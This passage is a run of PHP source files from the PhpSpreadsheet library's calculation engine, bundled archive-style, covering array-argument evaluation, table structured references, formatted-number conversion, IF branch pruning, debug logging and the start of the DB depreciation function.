'rowCount'], [$matrix1, $matrix2])); } if ($columns === 1) { $columns = max(array_map([self::$arrayArgumentHelper, 'columnCount'], [$matrix1, $matrix2])); } $result = []; for ($rowIndex = 0; $rowIndex < $rows; ++$rowIndex) { for ($columnIndex = 0; $columnIndex < $columns; ++$columnIndex) { $rowIndex1 = self::$arrayArgumentHelper->isRowVector($matrix1) ? 0 : $rowIndex; $columnIndex1 = self::$arrayArgumentHelper->isColumnVector($matrix1) ? 0 : $columnIndex; $value1 = $matrixValues1[$rowIndex1][$columnIndex1]; $rowIndex2 = self::$arrayArgumentHelper->isRowVector($matrix2) ? 0 : $rowIndex; $columnIndex2 = self::$arrayArgumentHelper->isColumnVector($matrix2) ? 0 : $columnIndex; $value2 = $matrixValues2[$rowIndex2][$columnIndex2]; $arguments[$matrix1] = $value1; $arguments[$matrix2] = $value2; $result[$rowIndex][$columnIndex] = $method(...$arguments); } } return $result; } private static function evaluateMatrixPair(callable $method, array $matrixIndexes, mixed ...$arguments): array { $matrix2 = array_pop($matrixIndexes); /** @var array $matrixValues2 */ $matrixValues2 = $arguments[$matrix2]; $matrix1 = array_pop($matrixIndexes); /** @var array $matrixValues1 */ $matrixValues1 = $arguments[$matrix1]; $result = []; foreach ($matrixValues1 as $rowIndex => $row) { foreach ($row as $columnIndex => $value1) { if (isset($matrixValues2[$rowIndex][$columnIndex]) === false) { continue; } $value2 = $matrixValues2[$rowIndex][$columnIndex]; $arguments[$matrix1] = $value1; $arguments[$matrix2] = $value2; $result[$rowIndex][$columnIndex] = $method(...$arguments); } } return $result; } private static function evaluateVectorPair(callable $method, int $rowIndex, int $columnIndex, mixed ...$arguments): array { $rowVector = Functions::flattenArray($arguments[$rowIndex]); $columnVector = Functions::flattenArray($arguments[$columnIndex]); $result = []; foreach ($columnVector as $column) { $rowResults = []; foreach ($rowVector as $row) { $arguments[$rowIndex] = $row; $arguments[$columnIndex] = $column; $rowResults[] = $method(...$arguments); } $result[] = $rowResults; } return $result; } /** * Note, offset is from 1 (for the first argument) rather than from 0. */ private static function evaluateNthArgumentAsArray(callable $method, int $nthArgument, mixed ...$arguments): array { $values = array_slice($arguments, $nthArgument - 1, 1); /** @var array $values */ $values = array_pop($values); $result = []; foreach ($values as $value) { $arguments[$nthArgument - 1] = $value; $result[] = $method(...$arguments); } return $result; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engine/Operands/StructuredReference.php000064400000030661151676714400027167 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engine\Operands; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Worksheet\Table; use Stringable; final class StructuredReference implements Operand, Stringable { public const NAME = 'Structured Reference'; private const OPEN_BRACE = '['; private const CLOSE_BRACE = ']'; private const ITEM_SPECIFIER_ALL = '#All'; private const ITEM_SPECIFIER_HEADERS = '#Headers'; private const ITEM_SPECIFIER_DATA = '#Data'; private const ITEM_SPECIFIER_TOTALS = '#Totals'; private const ITEM_SPECIFIER_THIS_ROW = '#This Row'; private const ITEM_SPECIFIER_ROWS_SET = [ self::ITEM_SPECIFIER_ALL, self::ITEM_SPECIFIER_HEADERS, self::ITEM_SPECIFIER_DATA, self::ITEM_SPECIFIER_TOTALS, ]; private const TABLE_REFERENCE = '/([\p{L}_\\\\][\p{L}\p{N}\._]+)?(\[(?:[^\]\[]+|(?R))*+\])/miu'; private string $value; private string $tableName; private Table $table; private string $reference; private ?int $headersRow; private int $firstDataRow; private int $lastDataRow; private ?int $totalsRow; private array $columns; public function __construct(string $structuredReference) { $this->value = $structuredReference; } public static function fromParser(string $formula, int $index, array $matches): self { $val = $matches[0]; $srCount = substr_count($val, self::OPEN_BRACE) - substr_count($val, self::CLOSE_BRACE); while ($srCount > 0) { $srIndex = strlen($val); $srStringRemainder = substr($formula, $index + $srIndex); $closingPos = strpos($srStringRemainder, self::CLOSE_BRACE); if ($closingPos === false) { throw new Exception("Formula Error: No closing ']' to match opening '['"); } $srStringRemainder = substr($srStringRemainder, 0, $closingPos + 1); --$srCount; if (str_contains($srStringRemainder, self::OPEN_BRACE)) { ++$srCount; } $val .= $srStringRemainder; } return new self($val); } /** * @throws Exception * @throws \PhpOffice\PhpSpreadsheet\Exception */ public function parse(Cell $cell): string { $this->getTableStructure($cell); $cellRange = ($this->isRowReference()) ? $this->getRowReference($cell) : $this->getColumnReference(); $sheetName = ''; $worksheet = $this->table->getWorksheet(); if ($worksheet !== null && $worksheet !== $cell->getWorksheet()) { $sheetName = "'" . $worksheet->getTitle() . "'!"; } return $sheetName . $cellRange; } private function isRowReference(): bool { return str_contains($this->value, '[@') || str_contains($this->value, '[' . self::ITEM_SPECIFIER_THIS_ROW . ']'); } /** * @throws Exception * @throws \PhpOffice\PhpSpreadsheet\Exception */ private function getTableStructure(Cell $cell): void { preg_match(self::TABLE_REFERENCE, $this->value, $matches); $this->tableName = $matches[1]; $this->table = ($this->tableName === '') ? $this->getTableForCell($cell) : $this->getTableByName($cell); $this->reference = $matches[2]; $tableRange = Coordinate::getRangeBoundaries($this->table->getRange()); $this->headersRow = ($this->table->getShowHeaderRow()) ? (int) $tableRange[0][1] : null; $this->firstDataRow = ($this->table->getShowHeaderRow()) ? (int) $tableRange[0][1] + 1 : $tableRange[0][1]; $this->totalsRow = ($this->table->getShowTotalsRow()) ? (int) $tableRange[1][1] : null; $this->lastDataRow = ($this->table->getShowTotalsRow()) ? (int) $tableRange[1][1] - 1 : $tableRange[1][1]; $cellParam = $cell; $worksheet = $this->table->getWorksheet(); if ($worksheet !== null && $worksheet !== $cell->getWorksheet()) { $cellParam = $worksheet->getCell('A1'); } $this->columns = $this->getColumns($cellParam, $tableRange); } /** * @throws Exception * @throws \PhpOffice\PhpSpreadsheet\Exception */ private function getTableForCell(Cell $cell): Table { $tables = $cell->getWorksheet()->getTableCollection(); foreach ($tables as $table) { /** @var Table $table */ $range = $table->getRange(); if ($cell->isInRange($range) === true) { $this->tableName = $table->getName(); return $table; } } throw new Exception('Table for Structured Reference cannot be identified'); } /** * @throws Exception * @throws \PhpOffice\PhpSpreadsheet\Exception */ private function getTableByName(Cell $cell): Table { $table = $cell->getWorksheet()->getTableByName($this->tableName); if ($table === null) { $spreadsheet = $cell->getWorksheet()->getParent(); if ($spreadsheet !== null) { $table = $spreadsheet->getTableByName($this->tableName); } } if ($table === null) { throw new Exception("Table {$this->tableName} for Structured Reference cannot be located"); } return $table; } private function getColumns(Cell $cell, array $tableRange): array { $worksheet = $cell->getWorksheet(); $cellReference = $cell->getCoordinate(); $columns = []; $lastColumn = ++$tableRange[1][0]; for ($column = $tableRange[0][0]; $column !== $lastColumn; ++$column) { $columns[$column] = $worksheet ->getCell($column . ($this->headersRow ?? ($this->firstDataRow - 1))) ->getCalculatedValue(); } $worksheet->getCell($cellReference); return $columns; } private function getRowReference(Cell $cell): string { $reference = str_replace("\u{a0}", ' ', $this->reference); /** @var string $reference */ $reference = str_replace('[' . self::ITEM_SPECIFIER_THIS_ROW . '],', '', $reference); foreach ($this->columns as $columnId => $columnName) { $columnName = str_replace("\u{a0}", ' ', $columnName); $reference = $this->adjustRowReference($columnName, $reference, $cell, $columnId); } return $this->validateParsedReference(trim($reference, '[]@, ')); } private function adjustRowReference(string $columnName, string $reference, Cell $cell, string $columnId): string { if ($columnName !== '') { $cellReference = $columnId . $cell->getRow(); $pattern1 = '/\[' . preg_quote($columnName, '/') . '\]/miu'; $pattern2 = '/@' . preg_quote($columnName, '/') . '/miu'; if (preg_match($pattern1, $reference) === 1) { $reference = preg_replace($pattern1, $cellReference, $reference); } elseif (preg_match($pattern2, $reference) === 1) { $reference = preg_replace($pattern2, $cellReference, $reference); } /** @var string $reference */ } return $reference; } /** * @throws Exception * @throws \PhpOffice\PhpSpreadsheet\Exception */ private function getColumnReference(): string { $reference = str_replace("\u{a0}", ' ', $this->reference); $startRow = ($this->totalsRow === null) ? $this->lastDataRow : $this->totalsRow; $endRow = ($this->headersRow === null) ? $this->firstDataRow : $this->headersRow; [$startRow, $endRow] = $this->getRowsForColumnReference($reference, $startRow, $endRow); $reference = $this->getColumnsForColumnReference($reference, $startRow, $endRow); $reference = trim($reference, '[]@, '); if (substr_count($reference, ':') > 1) { $cells = explode(':', $reference); $firstCell = array_shift($cells); $lastCell = array_pop($cells); $reference = "{$firstCell}:{$lastCell}"; } return $this->validateParsedReference($reference); } /** * @throws Exception * @throws \PhpOffice\PhpSpreadsheet\Exception */ private function validateParsedReference(string $reference): string { if (preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF . ':' . Calculation::CALCULATION_REGEXP_CELLREF . '$/miu', $reference) !== 1) { if (preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF . '$/miu', $reference) !== 1) { throw new Exception( "Invalid Structured Reference {$this->reference} {$reference}", Exception::CALCULATION_ENGINE_PUSH_TO_STACK ); } } return $reference; } private function fullData(int $startRow, int $endRow): string { $columns = array_keys($this->columns); $firstColumn = array_shift($columns); $lastColumn = (empty($columns)) ? $firstColumn : array_pop($columns); return "{$firstColumn}{$startRow}:{$lastColumn}{$endRow}"; } private function getMinimumRow(string $reference): int { return match ($reference) { self::ITEM_SPECIFIER_ALL, self::ITEM_SPECIFIER_HEADERS => $this->headersRow ?? $this->firstDataRow, self::ITEM_SPECIFIER_DATA => $this->firstDataRow, self::ITEM_SPECIFIER_TOTALS => $this->totalsRow ?? $this->lastDataRow, default => $this->headersRow ?? $this->firstDataRow, }; } private function getMaximumRow(string $reference): int { return match ($reference) { self::ITEM_SPECIFIER_HEADERS => $this->headersRow ?? $this->firstDataRow, self::ITEM_SPECIFIER_DATA => $this->lastDataRow, self::ITEM_SPECIFIER_ALL, self::ITEM_SPECIFIER_TOTALS => $this->totalsRow ?? $this->lastDataRow, default => $this->totalsRow ?? $this->lastDataRow, }; } public function value(): string { return $this->value; } /** * @return array<int, int> */ private function getRowsForColumnReference(string &$reference, int $startRow, int $endRow): array { $rowsSelected = false; foreach (self::ITEM_SPECIFIER_ROWS_SET as $rowReference) { $pattern = '/\[' . $rowReference . '\]/mui'; if (preg_match($pattern, $reference) === 1) { if (($rowReference === self::ITEM_SPECIFIER_HEADERS) && ($this->table->getShowHeaderRow() === false)) { throw new Exception( 'Table Headers are Hidden, and should not be Referenced', Exception::CALCULATION_ENGINE_PUSH_TO_STACK ); } $rowsSelected = true; $startRow = min($startRow, $this->getMinimumRow($rowReference)); $endRow = max($endRow, $this->getMaximumRow($rowReference)); $reference = preg_replace($pattern, '', $reference) ?? ''; } } if ($rowsSelected === false) { // If there isn't any Special Item Identifier specified, then the selection defaults to data rows only. $startRow = $this->firstDataRow; $endRow = $this->lastDataRow; } return [$startRow, $endRow]; } private function getColumnsForColumnReference(string $reference, int $startRow, int $endRow): string { $columnsSelected = false; foreach ($this->columns as $columnId => $columnName) { $columnName = str_replace("\u{a0}", ' ', $columnName ?? ''); $cellFrom = "{$columnId}{$startRow}"; $cellTo = "{$columnId}{$endRow}"; $cellReference = ($cellFrom === $cellTo) ? $cellFrom : "{$cellFrom}:{$cellTo}"; $pattern = '/\[' . preg_quote($columnName, '/') . '\]/mui'; if (preg_match($pattern, $reference) === 1) { $columnsSelected = true; $reference = preg_replace($pattern, $cellReference, $reference); } /** @var string $reference */ } if ($columnsSelected === false) { return $this->fullData($startRow, $endRow); } return $reference; } public function __toString(): string { return $this->value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engine/Operands/Operand.php000064400000000336151676714400024570 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engine\Operands; interface Operand { public static function fromParser(string $formula, int $index, array $matches): self; public function value(): string; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engine/CyclicReferenceStack.php000064400000002240151676714400025434 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engine; class CyclicReferenceStack { /** * The call stack for calculated cells. * * @var mixed[] */ private array $stack = []; /** * Return the number of entries on the stack. */ public function count(): int { return count($this->stack); } /** * Push a new entry onto the stack. */ public function push(mixed $value): void { $this->stack[$value] = $value; } /** * Pop the last entry from the stack. */ public function pop(): mixed { return array_pop($this->stack); } /** * Test to see if a specified entry exists on the stack. * * @param mixed $value The value to test */ public function onStack(mixed $value): bool { return isset($this->stack[$value]); } /** * Clear the stack. */ public function clear(): void { $this->stack = []; } /** * Return an array of all entries on the stack. * * @return mixed[] */ public function showStack(): array { return $this->stack; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engine/FormattedNumber.php000064400000013565151676714400024533 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engine; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class FormattedNumber { /** Constants */ /** Regular Expressions */ private const STRING_REGEXP_FRACTION = '~^\s*(-?)((\d*)\s+)?(\d+\/\d+)\s*$~'; private const STRING_REGEXP_PERCENT = '~^(?:(?: *(?<PrefixedSign>[-+])? *\% *(?<PrefixedSign2>[-+])? *(?<PrefixedValue>[0-9]+\.?[0-9*]*(?:E[-+]?[0-9]*)?) *)|(?: *(?<PostfixedSign>[-+])? *(?<PostfixedValue>[0-9]+\.?[0-9]*(?:E[-+]?[0-9]*)?) *\% *))$~i'; // preg_quoted string for major currency symbols, with a %s for locale currency private const CURRENCY_CONVERSION_LIST = '\$€£¥%s'; private const STRING_CONVERSION_LIST = [ [self::class, 'convertToNumberIfNumeric'], [self::class, 'convertToNumberIfFraction'], [self::class, 'convertToNumberIfPercent'], [self::class, 'convertToNumberIfCurrency'], ]; /** * Identify whether a string contains a formatted numeric value, * and convert it to a numeric if it is. * * @param string $operand string value to test */ public static function convertToNumberIfFormatted(string &$operand): bool { foreach (self::STRING_CONVERSION_LIST as $conversionMethod) { if ($conversionMethod($operand) === true) { return true; } } return false; } /** * Identify whether a string contains a numeric value, * and convert it to a numeric if it is. * * @param string $operand string value to test */ public static function convertToNumberIfNumeric(string &$operand): bool { $thousandsSeparator = preg_quote(StringHelper::getThousandsSeparator(), '/'); $value = preg_replace(['/(\d)' . $thousandsSeparator . '(\d)/u', '/([+-])\s+(\d)/u'], ['$1$2', '$1$2'], trim($operand)); $decimalSeparator = preg_quote(StringHelper::getDecimalSeparator(), '/'); $value = preg_replace(['/(\d)' . $decimalSeparator . '(\d)/u', '/([+-])\s+(\d)/u'], ['$1.$2', '$1$2'], $value ?? ''); if (is_numeric($value)) { $operand = (float) $value; return true; } return false; } /** * Identify whether a string contains a fractional numeric value, * and convert it to a numeric if it is. * * @param string $operand string value to test */ public static function convertToNumberIfFraction(string &$operand): bool { if (preg_match(self::STRING_REGEXP_FRACTION, $operand, $match)) { $sign = ($match[1] === '-') ? '-' : '+'; $wholePart = ($match[3] === '') ? '' : ($sign . $match[3]); $fractionFormula = '=' . $wholePart . $sign . $match[4]; $operand = Calculation::getInstance()->_calculateFormulaValue($fractionFormula); return true; } return false; } /** * Identify whether a string contains a percentage, and if so, * convert it to a numeric. * * @param string $operand string value to test */ public static function convertToNumberIfPercent(string &$operand): bool { $thousandsSeparator = preg_quote(StringHelper::getThousandsSeparator(), '/'); $value = preg_replace('/(\d)' . $thousandsSeparator . '(\d)/u', '$1$2', trim($operand)); $decimalSeparator = preg_quote(StringHelper::getDecimalSeparator(), '/'); $value = preg_replace(['/(\d)' . $decimalSeparator . '(\d)/u', '/([+-])\s+(\d)/u'], ['$1.$2', '$1$2'], $value ?? ''); $match = []; if ($value !== null && preg_match(self::STRING_REGEXP_PERCENT, $value, $match, PREG_UNMATCHED_AS_NULL)) { //Calculate the percentage $sign = ($match['PrefixedSign'] ?? $match['PrefixedSign2'] ?? $match['PostfixedSign']) ?? ''; $operand = (float) ($sign . ($match['PostfixedValue'] ?? $match['PrefixedValue'])) / 100; return true; } return false; } /** * Identify whether a string contains a currency value, and if so, * convert it to a numeric. * * @param string $operand string value to test */ public static function convertToNumberIfCurrency(string &$operand): bool { $currencyRegexp = self::currencyMatcherRegexp(); $thousandsSeparator = preg_quote(StringHelper::getThousandsSeparator(), '/'); $value = preg_replace('/(\d)' . $thousandsSeparator . '(\d)/u', '$1$2', $operand); $match = []; if ($value !== null && preg_match($currencyRegexp, $value, $match, PREG_UNMATCHED_AS_NULL)) { //Determine the sign $sign = ($match['PrefixedSign'] ?? $match['PrefixedSign2'] ?? $match['PostfixedSign']) ?? ''; $decimalSeparator = StringHelper::getDecimalSeparator(); //Cast to a float $intermediate = (string) ($match['PostfixedValue'] ?? $match['PrefixedValue']); $intermediate = str_replace($decimalSeparator, '.', $intermediate); if (is_numeric($intermediate)) { $operand = (float) ($sign . str_replace($decimalSeparator, '.', $intermediate)); return true; } } return false; } public static function currencyMatcherRegexp(): string { $currencyCodes = sprintf(self::CURRENCY_CONVERSION_LIST, preg_quote(StringHelper::getCurrencyCode(), '/')); $decimalSeparator = preg_quote(StringHelper::getDecimalSeparator(), '/'); return '~^(?:(?: *(?<PrefixedSign>[-+])? *(?<PrefixedCurrency>[' . $currencyCodes . ']) *(?<PrefixedSign2>[-+])? *(?<PrefixedValue>[0-9]+[' . $decimalSeparator . ']?[0-9*]*(?:E[-+]?[0-9]*)?) *)|(?: *(?<PostfixedSign>[-+])? *(?<PostfixedValue>[0-9]+' . $decimalSeparator . '?[0-9]*(?:E[-+]?[0-9]*)?) *(?<PostfixedCurrency>[' . $currencyCodes . ']) *))$~ui'; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engine/BranchPruner.php000064400000013775151676714400024031 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engine; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class BranchPruner { protected bool $branchPruningEnabled; /** * Used to generate unique store keys. */ private int $branchStoreKeyCounter = 0; /** * currently pending storeKey (last item of the storeKeysStack. */ protected ?string $pendingStoreKey = null; /** * @var string[] */ protected array $storeKeysStack = []; /** * @var bool[] */ protected array $conditionMap = []; /** * @var bool[] */ protected array $thenMap = []; /** * @var bool[] */ protected array $elseMap = []; /** * @var int[] */ protected array $braceDepthMap = []; protected ?string $currentCondition = null; protected ?string $currentOnlyIf = null; protected ?string $currentOnlyIfNot = null; protected ?string $previousStoreKey = null; public function __construct(bool $branchPruningEnabled) { $this->branchPruningEnabled = $branchPruningEnabled; } public function clearBranchStore(): void { $this->branchStoreKeyCounter = 0; } public function initialiseForLoop(): void { $this->currentCondition = null; $this->currentOnlyIf = null; $this->currentOnlyIfNot = null; $this->previousStoreKey = null; $this->pendingStoreKey = empty($this->storeKeysStack) ? null : end($this->storeKeysStack); if ($this->branchPruningEnabled) { $this->initialiseCondition(); $this->initialiseThen(); $this->initialiseElse(); } } private function initialiseCondition(): void { if (isset($this->conditionMap[$this->pendingStoreKey]) && $this->conditionMap[$this->pendingStoreKey]) { $this->currentCondition = $this->pendingStoreKey; $stackDepth = count($this->storeKeysStack); if ($stackDepth > 1) { // nested if $this->previousStoreKey = $this->storeKeysStack[$stackDepth - 2]; } } } private function initialiseThen(): void { if (isset($this->thenMap[$this->pendingStoreKey]) && $this->thenMap[$this->pendingStoreKey]) { $this->currentOnlyIf = $this->pendingStoreKey; } elseif ( isset($this->previousStoreKey, $this->thenMap[$this->previousStoreKey]) && $this->thenMap[$this->previousStoreKey] ) { $this->currentOnlyIf = $this->previousStoreKey; } } private function initialiseElse(): void { if (isset($this->elseMap[$this->pendingStoreKey]) && $this->elseMap[$this->pendingStoreKey]) { $this->currentOnlyIfNot = $this->pendingStoreKey; } elseif ( isset($this->previousStoreKey, $this->elseMap[$this->previousStoreKey]) && $this->elseMap[$this->previousStoreKey] ) { $this->currentOnlyIfNot = $this->previousStoreKey; } } public function decrementDepth(): void { if (!empty($this->pendingStoreKey)) { --$this->braceDepthMap[$this->pendingStoreKey]; } } public function incrementDepth(): void { if (!empty($this->pendingStoreKey)) { ++$this->braceDepthMap[$this->pendingStoreKey]; } } public function functionCall(string $functionName): void { if ($this->branchPruningEnabled && ($functionName === 'IF(')) { // we handle a new if $this->pendingStoreKey = $this->getUnusedBranchStoreKey(); $this->storeKeysStack[] = $this->pendingStoreKey; $this->conditionMap[$this->pendingStoreKey] = true; $this->braceDepthMap[$this->pendingStoreKey] = 0; } elseif (!empty($this->pendingStoreKey) && array_key_exists($this->pendingStoreKey, $this->braceDepthMap)) { // this is not an if but we go deeper ++$this->braceDepthMap[$this->pendingStoreKey]; } } public function argumentSeparator(): void { if (!empty($this->pendingStoreKey) && $this->braceDepthMap[$this->pendingStoreKey] === 0) { // We must go to the IF next argument if ($this->conditionMap[$this->pendingStoreKey]) { $this->conditionMap[$this->pendingStoreKey] = false; $this->thenMap[$this->pendingStoreKey] = true; } elseif ($this->thenMap[$this->pendingStoreKey]) { $this->thenMap[$this->pendingStoreKey] = false; $this->elseMap[$this->pendingStoreKey] = true; } elseif ($this->elseMap[$this->pendingStoreKey]) { throw new Exception('Reaching fourth argument of an IF'); } } } public function closingBrace(mixed $value): void { if (!empty($this->pendingStoreKey) && $this->braceDepthMap[$this->pendingStoreKey] === -1) { // we are closing an IF( if ($value !== 'IF(') { throw new Exception('Parser bug we should be in an "IF("'); } if ($this->conditionMap[$this->pendingStoreKey]) { throw new Exception('We should not be expecting a condition'); } $this->thenMap[$this->pendingStoreKey] = false; $this->elseMap[$this->pendingStoreKey] = false; --$this->braceDepthMap[$this->pendingStoreKey]; array_pop($this->storeKeysStack); $this->pendingStoreKey = null; } } public function currentCondition(): ?string { return $this->currentCondition; } public function currentOnlyIf(): ?string { return $this->currentOnlyIf; } public function currentOnlyIfNot(): ?string { return $this->currentOnlyIfNot; } private function getUnusedBranchStoreKey(): string { $storeKeyValue = 'storeKey-' . $this->branchStoreKeyCounter; ++$this->branchStoreKeyCounter; return $storeKeyValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engine/Logger.php000064400000006247151676714400022653 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engine; class Logger { /** * Flag to determine whether a debug log should be generated by the calculation engine * If true, then a debug log will be generated * If false, then a debug log will not be generated. */ private bool $writeDebugLog = false; /** * Flag to determine whether a debug log should be echoed by the calculation engine * If true, then a debug log will be echoed * If false, then a debug log will not be echoed * A debug log can only be echoed if it is generated. */ private bool $echoDebugLog = false; /** * The debug log generated by the calculation engine. * * @var string[] */ private array $debugLog = []; /** * The calculation engine cell reference stack. */ private CyclicReferenceStack $cellStack; /** * Instantiate a Calculation engine logger. */ public function __construct(CyclicReferenceStack $stack) { $this->cellStack = $stack; } /** * Enable/Disable Calculation engine logging. */ public function setWriteDebugLog(bool $writeDebugLog): void { $this->writeDebugLog = $writeDebugLog; } /** * Return whether calculation engine logging is enabled or disabled. */ public function getWriteDebugLog(): bool { return $this->writeDebugLog; } /** * Enable/Disable echoing of debug log information. */ public function setEchoDebugLog(bool $echoDebugLog): void { $this->echoDebugLog = $echoDebugLog; } /** * Return whether echoing of debug log information is enabled or disabled. */ public function getEchoDebugLog(): bool { return $this->echoDebugLog; } /** * Write an entry to the calculation engine debug log. */ public function writeDebugLog(string $message, mixed ...$args): void { // Only write the debug log if logging is enabled if ($this->writeDebugLog) { $message = sprintf($message, ...$args); $cellReference = implode(' -> ', $this->cellStack->showStack()); if ($this->echoDebugLog) { echo $cellReference, ($this->cellStack->count() > 0 ? ' => ' : ''), $message, PHP_EOL; } $this->debugLog[] = $cellReference . ($this->cellStack->count() > 0 ? ' => ' : '') . $message; } } /** * Write a series of entries to the calculation engine debug log. * * @param string[] $args */ public function mergeDebugLog(array $args): void { if ($this->writeDebugLog) { foreach ($args as $entry) { $this->writeDebugLog($entry); } } } /** * Clear the calculation engine debug log. */ public function clearLog(): void { $this->debugLog = []; } /** * Return the calculation engine debug log. * * @return string[] */ public function getLog(): array { return $this->debugLog; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engine/ArrayArgumentHelper.php000064400000012011151676714400025337 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engine; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class ArrayArgumentHelper { protected int $indexStart = 0; protected array $arguments; protected int $argumentCount; protected array $rows; protected array $columns; public function initialise(array $arguments): void { $keys = array_keys($arguments); $this->indexStart = (int) array_shift($keys); $this->rows = $this->rows($arguments); $this->columns = $this->columns($arguments); $this->argumentCount = count($arguments); $this->arguments = $this->flattenSingleCellArrays($arguments, $this->rows, $this->columns); $this->rows = $this->rows($arguments); $this->columns = $this->columns($arguments); if ($this->arrayArguments() > 2) { throw new Exception('Formulae with more than two array arguments are not supported'); } } public function arguments(): array { return $this->arguments; } public function hasArrayArgument(): bool { return $this->arrayArguments() > 0; } public function getFirstArrayArgumentNumber(): int { $rowArrays = $this->filterArray($this->rows); $columnArrays = $this->filterArray($this->columns); for ($index = $this->indexStart; $index < $this->argumentCount; ++$index) { if (isset($rowArrays[$index]) || isset($columnArrays[$index])) { return ++$index; } } return 0; } public function getSingleRowVector(): ?int { $rowVectors = $this->getRowVectors(); return count($rowVectors) === 1 ? array_pop($rowVectors) : null; } private function getRowVectors(): array { $rowVectors = []; for ($index = $this->indexStart; $index < ($this->indexStart + $this->argumentCount); ++$index) { if ($this->rows[$index] === 1 && $this->columns[$index] > 1) { $rowVectors[] = $index; } } return $rowVectors; } public function getSingleColumnVector(): ?int { $columnVectors = $this->getColumnVectors(); return count($columnVectors) === 1 ? array_pop($columnVectors) : null; } private function getColumnVectors(): array { $columnVectors = []; for ($index = $this->indexStart; $index < ($this->indexStart + $this->argumentCount); ++$index) { if ($this->rows[$index] > 1 && $this->columns[$index] === 1) { $columnVectors[] = $index; } } return $columnVectors; } public function getMatrixPair(): array { for ($i = $this->indexStart; $i < ($this->indexStart + $this->argumentCount - 1); ++$i) { for ($j = $i + 1; $j < $this->argumentCount; ++$j) { if (isset($this->rows[$i], $this->rows[$j])) { return [$i, $j]; } } } return []; } public function isVector(int $argument): bool { return $this->rows[$argument] === 1 || $this->columns[$argument] === 1; } public function isRowVector(int $argument): bool { return $this->rows[$argument] === 1; } public function isColumnVector(int $argument): bool { return $this->columns[$argument] === 1; } public function rowCount(int $argument): int { return $this->rows[$argument]; } public function columnCount(int $argument): int { return $this->columns[$argument]; } private function rows(array $arguments): array { return array_map( fn ($argument): int => is_countable($argument) ? count($argument) : 1, $arguments ); } private function columns(array $arguments): array { return array_map( function (mixed $argument): int { return is_array($argument) && is_array($argument[array_keys($argument)[0]]) ? count($argument[array_keys($argument)[0]]) : 1; }, $arguments ); } public function arrayArguments(): int { $count = 0; foreach (array_keys($this->arguments) as $argument) { if ($this->rows[$argument] > 1 || $this->columns[$argument] > 1) { ++$count; } } return $count; } private function flattenSingleCellArrays(array $arguments, array $rows, array $columns): array { foreach ($arguments as $index => $argument) { if ($rows[$index] === 1 && $columns[$index] === 1) { while (is_array($argument)) { $argument = array_pop($argument); } $arguments[$index] = $argument; } } return $arguments; } private function filterArray(array $array): array { return array_filter( $array, fn ($value): bool => $value > 1 ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Constants.php000064400000001046151676714400024057 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; class Constants { public const BASIS_DAYS_PER_YEAR_NASD = 0; public const BASIS_DAYS_PER_YEAR_ACTUAL = 1; public const BASIS_DAYS_PER_YEAR_360 = 2; public const BASIS_DAYS_PER_YEAR_365 = 3; public const BASIS_DAYS_PER_YEAR_360_EUROPEAN = 4; public const FREQUENCY_ANNUAL = 1; public const FREQUENCY_SEMI_ANNUAL = 2; public const FREQUENCY_QUARTERLY = 4; public const PAYMENT_END_OF_PERIOD = 0; public const PAYMENT_BEGINNING_OF_PERIOD = 1; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Depreciation.php000064400000023113151676714400024510 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Depreciation { private static float $zeroPointZero = 0.0; /** * DB. * * Returns the depreciation of an asset for a specified period using the * fixed-declining balance method. * This form of depreciation is used if you want to get a higher depreciation value * at the beginning of the depreciation (as opposed to linear depreciation). The * depreciation value is reduced with every depreciation period by the depreciation * already deducted from the initial cost. * * Excel Function: * DB(cost,salvage,life,period[,month]) * * @param mixed $cost Initial cost of the asset * @param mixed $salvage Value at the end of the depreciation. * (Sometimes called the salvage value of the asset) * @param mixed $life Number of periods over which the asset is depreciated. * (Sometimes called the useful life of the asset) * @param mixed $period The period for which you want to calculate the * depreciation. Period must use the same units as life. * @param mixed $month Number of months in the first year. If month is omitted, * it defaults to 12. */ public static function DB(mixed $cost, mixed $salvage, mixed $life, mixed $period, mixed $month = 12): string|float|int { $cost = Functions::flattenSingleValue($cost); $salvage = Functions::flattenSingleValue($salvage); $life = Functions::flattenSingleValue($life); $period = Functions::flattenSingleValue($period); $month = Functions::flattenSingleValue($month); try { $cost = self::validateCost($cost); $salvage = self::validateSalvage($salvage); $life = self::validateLife($life); $period = self::validatePeriod($period); $month = self::validateMonth($month); } catch (Exception $e) { return $e->getMessage(); } if ($cost === self::$zeroPointZero) { return 0.0; } // Set Fixed Depreciation Rate $fixedDepreciationRate = 1 - ($salvage / $cost) ** (1 / $life); $fixedDepreciationRate = round($fixedDepreciationRate, 3); // Loop through each period calculating the depreciation // TODO Handle period value between 0 and 1 (e.g. 